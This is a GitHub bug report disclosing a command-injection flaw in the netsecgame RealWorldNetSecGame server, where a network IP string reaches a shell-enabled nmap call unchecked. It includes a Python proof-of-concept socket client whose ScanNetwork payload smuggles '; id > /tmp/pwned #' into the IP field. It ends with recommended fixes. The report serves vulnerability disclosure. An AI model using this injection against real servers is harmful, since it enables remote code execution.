-
Notifications
You must be signed in to change notification settings - Fork 12
Description
Bug Description
RealWorldNetSecGame._execute_scan_network_action_real_world() builds a shell command by interpolating action.parameters['target_network'] directly into an f-string and executes it with subprocess.run(..., shell=True).
Relevant code in netsecgame/game/worlds/RealWorldNetSecGame.py:54-55:
command = f"nmap -sn {action.parameters['target_network']} -oX {nmap_file_xml}"
_ = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True)The target_network value is parsed as Network (Action.from_dict), but Network.ip is an unvalidated string in netsecgame/game_components.py:128-137 and __str__ returns "{self.ip}/{self.mask}". This allows command separators in ip to flow into the shell command.
This enables agent-controlled OS command execution on the server process (RCE).
Secondary hardening gap that amplifies impact: _dispatch_action in netsecgame/game/coordinator.py:285-298 routes all game action types through _process_game_action without role-based action authorization checks.
Steps to Reproduce
- Start the game server with the
RealWorldNetSecGameworld:
python3 -m netsecgame.game.worlds.RealWorldNetSecGame \
--task_config=./examples/example_task_configuration.yaml \
--game_port=9000- Connect an agent and send crafted
ScanNetworkinput:
import socket, json
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 9000))
join = {
"action_type": "JoinGame",
"parameters": {
"agent_info": {"name": "RogueAgent", "role": "Attacker"}
}
}
sock.sendall(json.dumps(join).encode())
sock.recv(8192)
exploit = {
"action_type": "ScanNetwork",
"parameters": {
"source_host": {"ip": "213.47.23.195"},
"target_network": {
"ip": "127.0.0.1; id > /tmp/pwned #",
"mask": 24
}
}
}
sock.sendall(json.dumps(exploit).encode())
sock.recv(8192)- On the server, check
/tmp/pwned.
Expected Behavior
Network.ipshould be validated (same security posture asIP.__post_init__).subprocess.runshould avoidshell=Trueand pass arguments as a list.- Coordinator should enforce role-based action authorization.
Version
0.1.0
Installation / Deployment Method
Running locally from source